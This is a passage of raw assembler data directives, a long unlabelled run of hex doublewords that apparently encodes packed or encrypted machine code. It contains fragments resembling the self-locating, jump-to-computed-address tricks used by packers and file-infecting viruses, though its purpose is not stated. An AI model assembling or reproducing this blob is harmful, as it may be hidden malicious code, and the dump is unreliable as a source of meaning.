0CE511D33h, 45A4FAC0h, 44010B66h dd 0AF7E8F71h, 6ABB84C8h, 90757B14h, 6B4E763Eh, 0C8AF7E85h dd 1FE1349Eh, 14C8AF7Eh, 0BEA0FACBh, 0BB89F1E6h, 2CB11655h dd 50C286D1h, 0BAF9DDCFh, 87A7E6C9h, 9C0152BBh, 7611FA92h dd 0EBD586A2h, 0F8000000h, 0F9468ACCh, 0F4438DADh, 0F65DF3CBh dd 0F259F7D7h, 4B5AF6C4h, 1C3A643Ch, 1C3867CCh, 62667CCh dd 0B2B7DCAh, 0D7E2E4C5h, 0C698B161h, 35473362h, 4E426F7Dh dd 84E7066Dh, 1E0CF3F9h, 0C5A9E638h, 56278092h, 49684D05h dd 4AC963DFh, 0CA95179h, 0C69BDEA4h, 330F6EBFh, 6EE2C4C4h dd 9BE7C7C1h, 0C2B603CBh, 38C69BDEh, 9BDE2B9Dh, 0EDF28C6h dd 0FBDBF23Dh, 826746A7h, 37936411h, 0CFEA92C0h, 0B7805179h dd 9BCA297Ah, 5B7BADFFh, 467EAEF5h, 31186644h, 7AAD9AE0h dd 0F070045Ah, 185B63AFh, 0BB844149h, 1A734F8Fh, 8BD4F4DBh dd 80515A2Eh, 351659B7h, 97E0C915h, 0E8230C46h, 519018BDh dd 4293B780h, 113E3271h, 986D1E37h, 72473C4Eh, 0EA6EE928h dd 750CBD6h, 0CA03Bh, 52EA0000h, 21B6979Dh, 1640A32Fh dd 66526F23h, 0EB3D0A50h, 8388F7CBh, 25105FA3h, 0B4E2CD11h dd 434FB886h, 0F1D8277Bh, 79A691EDh, 18327D41h, 5102E43Ah dd 0C181E189h, 4, 4BA52h, 0D1290000h, 240C875Ah, 6579685Ch dd 4890000h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h dd 57241C89h, 84026968h, 47475F4Ch, 0F781D7F7h, 0B696B31Ch dd 685FF889h, 5EF5h, 83242489h, 5B042404h, 8904EC83h, 438F2404h dd 241C8B08h, 81E38953h, 4C3h, 4C38300h, 5C241C87h, 582434FFh dd 0E904C483h, 0FFFA283Fh, 0B86A0058h, 5ED54BAh, 0E0FFC503h dd 3AAC3ACCh, 704D1508h, 3667C293h, 781B392Bh, 603465BFh dd 5BFDBBADh, 9E8h, 5BB98A00h, 9284FDE0h, 88BB14A6h, 582847D2h dd 32C420BBh, 0D1C08156h, 0B9000058h, 1612h, 0E334D381h dd 30FF3270h, 0EE951h, 0C1D0000h, 0C7C5DB0Dh, 0FD09D8E2h dd 514F53F3h, 0BB665E5Fh, 0F681C49Eh, 59BF01AEh, 3C06BB66h dd 0DA59F681h, 10BB61F4h, 815B4674h, 0DBE1AF6h, 9CBB6676h dd 0E8308902h, 0Dh, 704EC4C0h, 796B965Dh, 0F293E102h, 5BF55726h dd 4E8835Bh, 8B665260h, 616059C6h, 1E98361h, 0FF98850Fh dd 8EBFFFFh, 0 dd 14494A5Eh, 4DEE9h, 57426800h, 70E905EDh, 68FFFA27h dd 5ED57CEh, 0FA2766E9h, 592E68FFh, 5CE905EDh, 48FFFA27h dd 49D67A5Ch, 44D37D5Dh, 46ED635Bh, 42E96747h, 0DBEA6654h dd 8CCAF4ACh, 8CC8F75Ch, 0F6D6F75Ch, 0FBDBCD5Ah, 0A7725455h dd 0C698B4D1h, 35F7A3D2h, 1EFEBF7Dh, 0F231CF9Bh, 57AB939Fh dd 321E2068h, 0FCD6B735h, 125E2944h, 92DDDCF7h, 674694BAh dd 466B4E04h, 43C95DCBh, 0FCA42C72h, 9DEA57D9h, 20036CC6h dd 9DEAFD47h, 13F68C6h, 89D52606h, 744A70BEh, 47EBEF5Ch dd 0D2C6C08Bh, 61F18642h, 32C02h, 53E44400h, 0E5EDB03Ch dd 0E210983Dh, 0C213C375h, 71CEEBE3h, 66C95CEAh, 0F84BD01Ch dd 74ABF3D3h, 0E8E73081h, 3C27EAD7h, 0CACB21C5h, 3B643580h dd 0B798CA10h, 8774B797h, 545461A8h, 8FEDDB27h, 0E33F0859h dd 507B28C4h, 0C5F53D0Ch, 0F4790F9h, 37EFEF47h, 0C9D7036Eh dd 0C5AE0DEAh, 8AB2C06Eh, 6EF5592Fh, 2A095ACCh, 0F9460859h dd 26AC8FAFh, 9D63B67Eh, 96CC6EF5h, 10B6645h, 0CED9F723h dd 68B990EEh, 220D311Fh, 0D5ACCFF4h, 64046A9h, 0A580E935h dd 83785E4Eh, 736C34F7h, 0F6BA2139h, 10000002h, 113E1224h dd 6C3B1535h, 6E351B23h, 6A311F3Fh, 0E3321E3Ch, 0A4929CD4h dd 0A4909FA4h, 0AE8E9FA4h, 93B395A2h, 7F5A0CBDh, 0C698B589h dd 22F9B8Ah, 8FA72FEEh, 80BB1282h, 9A902D42h, 6E81E6CDh dd 0EC94DE1Dh, 0FE53AD54h, 0D41700BDh, 635DF073h, 26A8F9C9h dd 27291119h, 9E62B77Fh, 95C69859h, 1C0A6944h, 5C4B0937h dd 0A5F64560h, 2717022Dh, 9ABCECDBh, 0A1146A49h, 0C6981CD2h dd 0BA674741h, 6A3EB5F8h, 6A7B60F8h, 9C000002h, 9DAAA690h dd 98A7A989h, 9AA1AFAFh, 96BD93B3h, 17BE92A8h, 381E0860h dd 381C0B10h, 22020B10h, 2707012Eh, 0EBCE9829h, 0C698B505h dd 2BBEF1Eh, 8FA72FEEh, 0F22128A4h, 8CCAF452h, 0AF0A40A3h dd 0C963E4A4h, 0DB9EFCCDh, 0C69BD059h, 0A95A7C2Fh, 0FBDE8786h dd 0C69BD075h, 8EEC3D0Eh, 37A97CBFh, 0E461EB58h, 0AB32B44Ch dd 665B661h, 18CBDh, 0D350900h, 75E2C0A8h, 0D8F2C3C3h dd 75E20BFDh, 0FC3F08C3h, 4B97B791h, 0C60A2C7Ch, 88C2C329h dd 5CF0D02Dh, 0D2F4C5C9h, 0EC398F2Ah, 0E93AC692h, 73C1B48Ah dd 5C692ECh, 0C8584046h, 8461F27Ch, 20h, 2FEE02CEh, 0FEB912A7h dd 65B6C95Ch, 0FED0A419h, 0E5A6C692h, 7265FFE5h, 0D36761F2h dd 63000000h, 6547A52h, 81C9F139h, 6C4F6FBEh, 3F9A4212h dd 0C375E249h, 0D73A794Ah, 0C58DD1F5h, 0E230B81Dh, 0E233C375h dd 5A7CAC83h, 0E73323F6h, 0E626C375h, 7D7308C0h, 0BEE33698h dd 42C95F8Fh, 24F1A8FDh, 0C69C4F5Ch, 0F6350657h, 0C1E12A05h dd 913A34F9h, 4091910Dh, 0C1F9210Eh, 3A9F470Fh, 0C69C13B6h dd 0C8B0054Dh, 0CBC69C13h, 5846A9FAh, 0EECD1C62h, 72B99783h dd 0CD15744Ah, 75BB4002h, 1B80D10Bh, 6A3A3BA3h, 0AE6F54Dh dd 7C000001h, 7DCA0630h, 78C70929h, 7AC10F4Fh, 76DD7353h dd 0F7DE7248h, 98BEE8C0h, 98BCEBB0h, 82A2EBB0h, 87A7E14Eh dd 4B6E7849h, 0C698BBE5h, 52DB8FFEh, 0ADFA5664h, 2C735B7Bh dd 0A584DAFCh, 75DA8A46h, 0D8310D4Dh, 7A52CD9Dh, 2D7E5C4Ah dd 80A6E6D1h, 0F9DC8448h, 0C375E277h, 0F352A0Ch, 59E7737Eh dd 5A962D08h, 30C13BBh, 27F2F83Bh, 0C95D0D5Bh, 0A9919EA1h dd 26A8F94Ah, 0D5291119h, 123DB9F4h, 93BC1624h, 634A90A4h dd 17EDCC00h, 82C69269h, 9FA4A48Ah, 457AB93h, 6Dh, 2FEE0252h dd 56DAFFA7h, 6DC375E2h, 95211Ch, 0C96338C9h, 7C5847AAh dd 0E634040Dh, 1F68B687h, 1827290Dh, 6DD02E30h, 0D0F4A27Ch dd 0C6626467h, 0A468E0C6h, 338FA78Ch, 87E63418h, 150039BFh dd 8DD1FBD6h, 674746B1h, 0D2F4671Bh, 5E705676h, 0B9C88EE6h dd 0BE10C13Ch, 0E4B6951Bh, 1E5DAED4h, 634345D2h, 3BC1Fh dd 23EA0000h, 5066526Fh, 0CBEB3D0Ah, 0A38388F7h, 1125105Fh dd 86B4E2CDh, 7B434FB8h, 0EDF1D827h, 4179A691h, 3A18327Dh dd 895302E4h, 4C381E3h, 83000000h, 1C8704EBh, 14895C24h dd 4EC8124h, 89000000h, 8957240Ch, 4C781E7h, 81000000h dd 4EFh, 243C8700h, 243C895Ch, 0ED561A68h, 240C8B05h, 4C481h dd 8B540000h, 0C483243Ch, 8B85004h, 5000000h, 4CF851D7h dd 0D72DF801h, 894CF851h, 34FF5808h, 0C4835F24h, 240C8B04h dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 0FA229EE9h, 0B812ECFFh dd 5ED5A5Dh, 0E0FFC503h, 26DADC8Ch, 561E227Fh, 6964396Fh dd 661C381Eh, 1B3707D4h, 2CA2CFFAh, 33B0C92Eh, 223E0102h dd 6BD52FD0h, 72E30DA4h, 4CCE6ECBh, 5598E258h, 172688C9h dd 60A53A7h, 15A56BA5h, 6C63171Fh, 5C5793A5h, 7B788F87h dd 44C4D3BDh, 51CFA8F8h, 109A1839h, 140EECA8h, 0B13EE853h dd 0F532565Dh, 0F501EEACh, 0B1325655h, 0B13256ABh, 0E8AD6FD5h dd 0EB9C79EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h dd 0B13256BAh, 0B132545Dh, 0B63581AEh, 0AB325257h, 0BA3246ABh dd 0D13263D5h, 0F93256E8h, 0F9325677h, 0E3F27DB8h, 0E362040Dh dd 0E96867A1h, 0D0526758h, 803D0EF1h, 0D0520485h, 0E36267E5h dd 0E968677Ah, 0E9680EE0h, 0D752360Dh, 0D0652D10h, 0BEC9C036h dd 0EB53369Ah, 0E16A0C8Dh, 0B1325103h, 18022575h, 0D46E9994h dd 386A0CCEh, 5DAD7282h, 580359E2h, 0B13256ADh, 0DCB6C1C3h dd 0E9686548h, 0B1A20E2Fh, 34CE56BAh, 0B0DA5D87h, 8CA6B108h dd 8832D565h, 441E89D5h, 3AAFAD5Fh, 0E9683733h, 0FCD621E5h dd 0F86245B8h, 0B44E3913h, 0E968DDF4h, 587C4EC7h, 0B13256ADh dd 1CF68183h, 0D0AF2508h, 54A20E2Fh, 0D0FA3D00h, 2C4611DBh dd 803DB5BCh, 0BEDB0407h, 0EA3256ABh, 8604872Dh, 62F05B4Eh dd 9E3C5F65h, 803D9386h, 0E968373Dh, 3BA20EF4h, 0E7434EACh dd 539F927Ch, 9F9B66A6h, 8B570A25h, 0E968CB9Eh, 803D0EDBh dd 0E968373Dh, 0B16A0EF4h, 76345657h, 0D2A04B5Fh, 176A0E8Fh dd 830FC20Dh, 0EB6A0CF6h, 0B1320EE2h, 0B132565Dh, 0B13256AEh dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh dd 0B1325657h, 0B13256ABh, 0B13256D5h dd 0B1DA36EAh, 0EB325675h, 0ECC8BC3Bh, 34BF53B0h, 0B4DEEA16h dd 0EA62D4DEh, 33BF5346h, 0B4DF9D7Bh, 0EA66D463h, 0FFDA5398h dd 593256B3h, 0B1325626h, 0EA72D469h, 0B13253BAh, 776056ABh dd 5635AF50h, 0E35A00EFh, 4EAEFECDh, 561F930Fh, 0D2B7DB58h dd 4E37BCD7h, 90B7DF87h, 0DB37B185h, 0A1323ED1h, 0F15A56EAh dd 0DB325578h, 0EBE2A9BAh, 82469656h, 0EA72D427h, 33BB53BAh dd 0B4DF0DEFh, 0B23F166Ch, 82CADDEAh, 0E398A5B5h, 0B15A52D0h dd 0D932564Dh, 0B13252AEh, 23CD563Dh, 0B4D5788Ah, 25B0DF8Fh dd 0D037BBB1h, 0EA72D3FEh, 0D1F15357h, 0B8BBD49Ah, 0B1325349h dd 33F55617h, 0B4D5430Eh, 0B13246D5h, 3A52958Bh, 5C6916CFh dd 0B10DD5BFh, 0CEB17529h, 0BA4654BEh, 0B52229D4h, 76B158DFh dd 76D8BDC1h, 0B13346ADh, 43D95675h, 0B222117Dh, 5A32565Dh dd 0E4F13747h, 5952BADCh, 0B13256ABh, 5ED8D78Fh, 3A37BBB4h dd 5C69CEC7h, 0B977DDBFh, 33B150D4h, 0B4DF0D36h, 73FB3753h dd 595256AFh, 0B13256D5h, 0A2D8D7B0h, 3A37BB2Ah, 5C69C208h dd 29806D58h, 0C537BBF5h, 3A0CDD6Ch, 0FE845974h, 0B075A0D4h dd 0B236236Ah, 9A30BDACh, 3A711563h, 56210FD8h, 54BFDDABh dd 8A37B176h, 8A3B2473h, 3237210Ch, 78D9522Ch, 0B946994Eh dd 90D7EB33h, 6D953BAh, 595295CFh, 0B1325657h, 0DAD8D7F1h dd 3A37BB8Ah, 5C69C250h, 0B032EF70h, 710156BAh, 33B9FDAEh dd 0B4DF0D3Ah, 0EAAAD4DEh, 72535346h, 0B132BEB5h, 306856EAh dd 5C6DC39Fh, 48B790BFh, 0E737B15Ah, 0AE5F6FC6h, 7487A983h dd 3C37B186h, 5B4B3550h, 0E3E2A9EFh, 31323E25h, 0B15856BAh dd 0EA72E4A2h, 61CD5343h, 0B15A0C0Fh, 0DB32562Bh, 2580A9D5h dd 4E37BBB1h, 0E4F137A5h, 5952BA31h, 0B132565Dh, 52D8D7F4h dd 3A37BB08h, 29DA5EDEh, 0E43256D7h, 0EA62C415h, 8A6F5398h dd 5F475ACFh, 0B130D0B5h, 73FB37AEh, 3A67565Fh, 4DF6D547h dd 59610183h, 0B13256EAh, 0A6D8D72Fh, 3A37BBDAh, 0CCB95E28h dd 596401BEh, 0B1325660h, 904696A0h, 4E67AE5Eh, 5C690678h dd 0C4090B70h, 0D72022B6h, 56B248D6h, 312CDC5Eh, 2CDAA6B4h dd 5A3256ADh, 4D4FDF01h, 4ECC0B02h, 0EF6D0D8Ah, 78CE1331h dd 0E4325A9Fh, 75B1BA25h, 0E06401AFh, 497791F8h, 0B13256D5h dd 0EAB2D42Dh, 0B1335398h, 0C4B956BAh, 0AFB93055h, 0EA72EC25h dd 0EEB953BAh, 0C5E95DA3h, 0C4EC6DDAh, 0BD6FDDECh, 323E09FCh dd 5BD9427Dh, 312CDD3Bh, 353DBE55h, 0B1325699h, 0BEDBAD2Bh dd 0B1329351h, 5AC9D6EAh, 0B18ED27Ah, 4AB256BAh, 1DB659BFh dd 313256AEh, 353DB5ACh, 0B1325631h, 0D6C9D7B3h, 29B65909h dd 31325675h, 3054A65Dh, 0BEB259A6h, 0B132C72Ah, 41D1D657h dd 0BE42AD2Bh, 0B132D351h, 0AFB930EAh, 31CAB5F5h, 0F346EE41h dd 0C53768DDh, 9C0CD693h, 8FB26E23h, 4E0122C3h, 5C69D657h dd 0AFB930EFh, 0D7CAB1F5h, 59B3AD3Bh, 3A547629h, 41D5D6B0h dd 30C9D731h, 0D121226Bh, 0E1A0A980h, 0EC37BBB1h, 0D0CE13FCh dd 0B0CE2B39h, 0BB93528h, 0B4D55F27h, 31B0DD07h, 8837BBF0h dd 0C36A66E9h, 1488DDBAh, 0E137B160h, 0EAB2D431h, 8D0B53B0h dd 8C4D0E9Eh, 0F4F546BCh, 0B1325453h, 7635BDD5h, 0B133AEAFh dd 0BB95675h, 0B4DF0DFAh, 6A3949D6h, 6F0949DAh, 0ECB95922h dd 494FD5A7h, 0B23122D5h, 0EEBBAEB7h, 0A5F5D571h, 7101B451h dd 0B13296B4h, 0AFB930AEh, 313E2BDCh, 0BB46BD50h, 31C2B555h dd 0A7462611h, 0B6F4649Eh, 0B0759153h, 0B132565Dh, 71B19125h dd 0B1A5BF52h, 765456ABh, 3B3A59D2h, 0BED1D6F4h, 39B29DF5h dd 0F6F557E5h, 0B132565Fh, 32F5DDAEh, 0C8D95097h, 210CD7CDh dd 313D2245h, 0BF47C6D4h, 4E4CD713h, 0B346C62Ah, 76B952B6h dd 33BF0945h, 0B4DF0DCBh, 23CD00FBh, 0B4DF0D81h, 0BB4696E1h dd 3BF9EFEh, 0B4DF0D26h, 3A6446B6h, 23CD0360h, 0B4DF0D07h dd 46FC7DF6h, 0CCB1080Ch, 0A1475712h, 0D7981FC5h, 0D7B75902h dd 0F78459F6h, 0AAD9FDAFh, 0B3CA2BD4h, 95445DEh, 1A549FDEh dd 353DEE8Ch, 73DFD13h, 5A9957FCh, 3A96A55Fh, 0EF6B0D69h dd 0B9F09F08h, 5DB903ABh, 0B132BEB5h, 306856EAh, 5C50239Fh dd 0B977DDBFh, 0EA7AD4D4h, 78535343h, 0E4325295h, 75B1BA20h dd 0B1DA362Dh, 0EB3256EAh, 0D3A4BCF4h, 0F4F55357h, 0B13256A5h dd 4D7791AEh, 0B1325657h, 3A549698h, 31B091CBh, 0B037BBB1h dd 0D7325675h, 21A2AD3Bh, 4AB25628h, 0B9B65946h, 0F1325656h dd 0BEDBAD2Bh, 0B132A851h, 4AB216EAh, 45B6599Eh, 0F13256BAh dd 0D7C2B1DDh, 313DAD2Fh, 0B1D7D258h, 333156ABh, 0B4D56778h dd 53C9D6AAh, 0B1FCD27Ah, 4AB256BAh, 0DB659BEh, 0D73256AEh dd 5255ADD6h, 0B188D2A4h, 52B256D5h, 0C1C9D61Ah, 0B187D27Ah dd 3A5456BAh, 49D1D643h, 0C58AAD2Eh, 0B40CD610h, 8FB214DFh dd 310F22F8h, 89463ED4h, 31B0A935h, 0D737BBE1h, 56B248D6h dd 4AB33056h, 9546BED6h, 312CDDCDh, 3054A632h, 0C5F2D711h dd 4E673662h, 5C690628h, 0F4BB0B58h, 0CCB13752h, 343D57ABh dd 0B1325783h, 0B8BBEC5Eh, 3A62530Dh, 5C69D6F7h, 810E6FBFh dd 0A0B05905h, 3A3256AFh, 5627F3EDh, 33B906AEh, 0B4DF0D55h dd 0E9026AD3h, 0B1C8D97Ah, 0BB956BAh, 0B4DF0D19h, 0EA76D42Dh dd 382653BAh, 0A175DF9Ch, 31B0DD85h, 3A37BBB1h, 386A6669h dd 64DB5EE5h, 7632565Dh, 0B130AEEBh, 0B6D95657h, 0B0CA136Ch dd 3A3256D5h, 5C691250h, 0F5B0D570h, 0A537BBE1h, 0F6BB61D4h dd 0B2CAD5BEh, 33F55A22h, 0B4DF0D2Bh, 0B13256D7h, 49B15301h dd 326D2B77h, 0C532AEC7h, 0F7845946h, 0B1B2FFAFh, 0B7475657h dd 0B4DAD5EBh, 4E1F5E3Eh, 323256EAh, 0BAD9539Dh, 31A8DDE9h dd 3A37BB06h, 186965AAh, 31325657h, 773142DEh, 0B2379656h dd 5C69D668h, 0F6BB1E70h, 0BD75DFB2h, 69C500B6h, 69C59085h dd 0B23796D4h, 5C69D629h, 0F6BB1ED0h, 0BD75DFE2h, 7101689Eh dd 19331030h, 0B21323DDh, 0B3F2D568h, 0B13257ECh, 0C5E95DABh dd 81A8DCDCh, 3137BA71h, 72315796h, 383A1133h, 0A5D95A1Ah dd 4E178E59h, 9A325657h, 32EAA16Dh, 0F6BB5415h, 0BD75DFE2h dd 72FB378Dh, 32DEDDEFh, 5952AA99h, 0B13256AEh, 16D8D70Dh dd 3A37BBCFh, 5C69166Fh, 32FB65EFh, 353D564Ah, 0B1325678h dd 0C4CD51D6h, 0B947A9A2h, 0B041BE07h, 0B44156ABh, 5A269156h dd 4D77DF08h, 4E3E238Ah, 86CD5ECFh, 0B1330AB5h, 26B059AEh dd 3A325657h, 0B60BAAEEh, 0B1BED4DAh, 0F4CD56EAh, 0B54DD589h dd 323A22BAh, 0C5325A22h, 93CBDACh, 4ECDA9A8h, 0B1325312h dd 5A99A5D5h, 0A14DD529h, 323D2270h, 0C43446C5h, 0F6B9174Ch dd 0BD6DDDAAh, 0F6B915BCh, 0BD6DDDAFh, 0F6B96F3Eh, 0BD6DDDEEh dd 0C43A094Eh, 0E6B904AFh, 0A1677D59h, 3A2603ADh, 6B195A08h dd 0EB37BD28h, 0F6B9443Eh, 0BD6DDDEEh, 3236095Eh, 3B315351h dd 0B4D5703Ch, 0B222292Dh, 9A735722h, 0B06EDF72h, 4ECDEED4h dd 0B48BA915h, 42325675h, 4E64BF11h, 7853A9A2h, 0E432466Ch dd 75B1BADCh, 0B1DA3657h, 0EB3256D5h, 0D4A0BC6Bh, 0BB95398h dd 0B4DF0DFAh, 8EB19F6Eh, 20B659AEh, 3A325657h, 0BD47A9ACh dd 0E13A232Ah, 0B132DE02h, 32372575h, 53D9427Dh, 4ECE13D4h dd 0C4CD5ADBh, 5905A95Fh, 0B13256DAh, 0F4B93CA7h, 0C3356F16h dd 4D77A916h, 0B1362939h, 0CEB15E29h, 0B34656A2h, 4E8A58BCh dd 8CDA954h, 0B13256D0h dd 7AD9FD19h, 0B42229F6h, 0CEB159CEh, 0A047504Dh, 0B575DDEFh dd 5A3E09DCh, 0B575DDB6h, 5A3E095Eh, 0B575DDF9h, 9A3E09FEh dd 5AB152E5h, 0A14DD558h, 0F03323ADh, 0EDBB8F7Ch, 4E8A57AAh dd 8CDA92Ah, 0B13256EFh, 36D9FD86h, 0B9F09FDBh, 5DB9035Dh dd 0B977DDCEh, 0C33E136Ch, 0A1776DA3h, 5ACA55A2h, 0B1D9AFE9h dd 0BDF09F14h, 5DB903BAh, 0D1CE92DEh, 0B1325646h, 5BB30C57h dd 0B4DF30C3h, 6A019FE6h, 3ACE0B63h, 5C6916CFh, 0B10DD5BFh dd 8EB13229h, 32372351h, 40D94290h, 0B1362928h, 0CEB15EA1h dd 0B34656E6h, 0F4CD5E9Eh, 0A5F5D546h, 0CEB18DB6h, 0BE4653BEh dd 0B72229D4h, 3A7347DEh, 0EEB95292h, 3A2FBDE6h, 0EEB95232h dd 3A21BDB6h, 0EEB9521Ah, 0B56D7DA2h, 3237BDD4h, 0C43146D4h dd 681917D4h, 0B0330A63h, 4ECDA9CDh, 0B137EF45h, 1AC1565Dh dd 3A53C145h, 72FBAA12h, 596107FBh, 0B13256D5h, 42D8D7B0h dd 3C37BB13h, 5C690E20h, 0B156EE58h, 63DA56AEh, 3A325657h dd 5AF36DA0h, 0B57955C1h, 0A64097D1h, 8A221D76h, 5A30247Bh dd 5A26BD5Fh, 0F2A8DBBCh, 4E37BBBBh, 3C3ABD78h, 5CDD3F4Fh dd 0EAE1A9EFh, 0E4F10E2Ch, 0B1DABA31h, 0EB32565Dh, 0D670BC2Fh dd 3C5253BAh, 5C690E11h, 0B977DDD0h, 0F4B95163h, 0B575DF79h dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh dd 0B4D5512Ch, 0C2283EADh, 4CDFE62h, 0B4D57B7Fh, 0C851D3D0h dd 61CD5344h, 35B8DB05h, 0E037BBF0h, 3C68862Ah, 5C69D268h dd 0F1855970h, 0E3EADDB6h, 0B2686752h, 8CB0DF6Dh, 0D037B177h dd 0E85251C3h, 0 dd 0B3EA815Ah, 5205ED67h, 203D828Bh, 6DB905E7h, 0F741C64Eh dd 39055AE1h, 25000030h, 7FFFFFFFh, 203D8289h, 595A05E7h dd 0E85251C3h, 0 dd 0E3EA815Ah, 8B05ED67h, 0FFBBE8C8h, 0D233FFFFh, 0C28BF1F7h dd 8BC3595Ah, 8DC08BC0h, 0ED5DF485h, 66D0FF05h, 858DC18Bh dd 5ED67ACh, 31158589h, 858D05E7h, 5ED67DCh, 0C4D8589h dd 0B805E7h, 0B000000h, 47840FC0h, 0C6000000h, 0E707F985h dd 0DF685605h, 0FFA9C530h, 0E72DC5B5h, 63858D05h, 0FF05EA79h dd 8D8D50D0h, 5E70E31h, 68046A51h, 1000h, 49DB5FFh, 0D0FF05E7h dd 49DBD8Bh, 7F0305E7h, 0F8C7813Ch, 0C7000000h, 202447h dd 9D8D6000h, 5E70B81h, 0C00B038Bh, 5840Fh, 8B0000h, 0B9044389h dd 234CF6h, 69358D8Dh, 0F68105EDh, 61B36C3h, 23158D89h dd 85C705E7h, 5E708B9h, 5F7Ch, 1571952Bh, 85C705E7h, 5E70C99h dd 0 dd 6820Fh, 0BD090000h, 5E71F81h, 31DDB5FFh, 6A05E7h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 51E004C3h, 585FF856h, 6B45EE81h, 0B6006DBh, 0E7229D8Dh dd 399D8905h, 6105E70Dh, 32CD95FFh, 6A05E7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0CA21C4C3h dd 669C3CBBh, 6A556BBAh, 1D95FF00h, 8B05E71Ah, 0D06BEBC0h dd 740B0635h, 16D42A0Ah, 729561CEh, 59A0AF99h, 5B846494h dd 9890ACDh, 3E3A4A3Ch, 82AC9664h, 0FF854224h, 80D8033Fh dd 0A2FB393Dh, 6FB3C05Dh, 3589AE42h, 0B4923275h, 0CC46F76Bh dd 0A94C80C1h, 0E245969Fh, 0BB2C5EDEh, 0E2736CCEh, 0A7ABDDCCh dd 54DF48E7h, 11E256BBh, 8955782h, 53640142h, 0D79868AEh dd 0E3569A99h, 8D8DBD78h, 5ED6ABDh, 810FDE8Bh, 0Bh, 0FEBF0F60h dd 860Fh, 89610000h, 0E723158Dh, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 96BB9436h dd 0F7E7BA66h, 8B985C7h, 59F805E7h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0CA2E72C3h dd 10E9BC92h, 1E000000h, 0DB6B2868h, 0B56CB88Bh, 17E7CC4Ch dd 0C7B4C178h, 0E70C9985h, 5, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 312BBDA0h dd 0B646113Eh, 0D3B8655Ah, 0FF190052h, 0E708C5B5h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 7B91CBEBh, 3A5081D4h, 798501ECh, 0BA05E707h, 32FAA74Bh dd 32CD95FFh, 820F05E7h, 0Ah, 81F28B60h, 0FD75D7D9h, 0CE9616Bh dd 0E8000000h, 5A2BF0EAh, 0B6225338h, 6A99D39Eh, 1D95FF00h dd 8B05E71Ah, 78EBC0h, 6AA8FF98h, 6450EBE1h, 0EF539370h dd 0A9F0D8D3h, 1200705Bh, 4C089F7Bh, 0A46C9931h, 460AE877h dd 0D5C0AFB9h, 0FDC3EC74h, 76AC6A75h, 905A9309h, 75E63C45h dd 0E51BF325h, 674B2013h, 0CE5A09BFh, 0D3483B1Dh, 70458C03h dd 0CAC5A4CAh, 6C75E7h, 78EFD23Eh, 1FB27A69h, 5923E2E8h dd 0FD1F6DC5h, 0F7543B39h, 83A079E9h, 0B5D14238h, 9C65F51Fh dd 0D733D67Dh, 0E81AAB0Ah, 12h, 1A18D7C1h, 0DF1BBD50h dd 733AD1C1h, 82996FD0h, 66534F8Fh, 0FD3AE881h, 8B665F59h dd 0CDC781DEh, 8B00006Dh, 0E72B459Dh, 1B48BA05h, 0B9660000h dd 378B5225h, 5880Fh, 1BB0000h, 81398E75h, 0E3EF13F6h dd 0E985897Ch, 8105E70Ah, 0AF6EFCEEh, 81EC8A7Ah, 90E34EF6h dd 0D19D8938h, 8905E72Bh, 0CA8B5237h, 4EF8358h, 8E8h, 0EF2C1200h dd 9D383432h, 0E13CB9C6h, 4A586200h, 15850Fh, 8D890000h dd 5E71C05h, 24E9h, 0D43F3A00h, 9F737795h, 0F5CB6F0h, 881h dd 2830F00h, 8B000000h, 0FF88E9CAh, 80CFFFFh, 0FA103253h dd 8108EB72h, 1CB0C0h, 0E9000000h, 0AF5h, 0ED6DC668h, 0D92DE905h dd 0B968FFFAh, 0E905ED6Eh, 0FFFAD923h, 0ED707F68h, 0D919E905h dd 7768FFFAh, 0E905ED71h, 0FFFAD90Fh, 0ED732168h, 0D905E905h dd 0DD68FFFAh, 0E905ED74h, 0FFFAD8FBh, 0ED75D568h, 0D8F1E905h dd 0FB0EFFFAh, 4CD7D13Ah, 0ADB2B69Fh, 5196F74h, 5FE5C328h dd 7D2AA18Ah, 0C22B0004h, 0A48162E6h, 1C79BE4Ch, 0F7DC1114h dd 6B87CC9Fh, 0C0351B1Ch, 0B24B93CEh, 5460437Dh, 34C9A7D4h dd 8CCFCDFBh, 0EF765ACFh, 0E3794F3Eh, 36C925AEh, 0CB6230F6h dd 36B401E0h, 9D30F636h, 0A2FCF552h, 0ACF84B80h, 0F923599Eh dd 0F8BCA47Bh, 0B40EBBCh, 36DD4F80h, 